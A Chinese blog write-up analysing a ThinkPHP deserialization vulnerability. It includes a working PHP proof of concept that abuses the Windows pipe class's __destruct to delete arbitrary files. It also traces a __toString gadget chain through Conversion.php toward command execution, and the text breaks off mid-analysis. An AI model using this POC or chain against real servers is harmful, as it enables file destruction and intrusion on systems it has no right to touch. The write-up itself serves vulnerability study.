ThinkPHP反序列化漏洞

文章详细分析了一个PHP框架中存在的安全漏洞,包括如何利用__destruct魔术方法实现任意文件删除,以及通过反序列化漏洞触发系统命令执行的可能路径。作者还探讨了如何构建POC来复现这些漏洞,并提到了非强制路由漏洞和利用Phar进行反序列化的技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、任意文件删除

搜索__destruct魔术方法,找到四个,能利用的只有Windows.php中的魔术方法

public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

 追踪removeFiles()

private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

发现是一个删除文件的方法,并且参数可控,存在删除任意文件漏洞

POC:

<?php

namespace think\process\pipes;

class Pipes{

}

class Windows extends Pipes{
    private $files = ['/opt/lampp/htdocs/security/upload/shell.php'];
}

$file = new Windows();
echo urlencode(serialize($file));

二、反序列化漏洞

1、搜索关键函数destruct与wakeup两个反序列化一定会触发的魔术方法,wakeup需要进行反序列化时调用,所以先不考虑,搜索destruct,一共四个结果,而能利用的只有Windows.php

 继续追踪close(),发现没有利用点,返回来追踪removeFiles(),发现是删除文件的函数,但是file_exists接受的参数是一个字符串,所以查找__toString魔术方法,看看能不能触发,发现一共四处定义了该魔术方法

Paginator.php:

Collection.php:

input.php:

Conversion.php:

但可控点只有三处,排除input.php,剩下的三个继续追踪,Paginator.php追踪后没有发现可利用点,排除,继续追踪Collection.php发现也没有可利用点(至于为什么没有可利用点慢慢探究,锻炼自己的基本功,这里不做详细介绍)所以只剩Conversion.php

toJson->toArray,前面的没有可控点,直接来到下面,代码如下:

if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);
                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible($name);
                    }

                    $item[$key] = $relation->append($name)->toArray();

append为可控点,往下探查是否有利用点,追踪getRelation只是简单返回值,往下走,追踪getAttr,追踪getData,两条路有可控点:

public function getData($name = null)
    
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值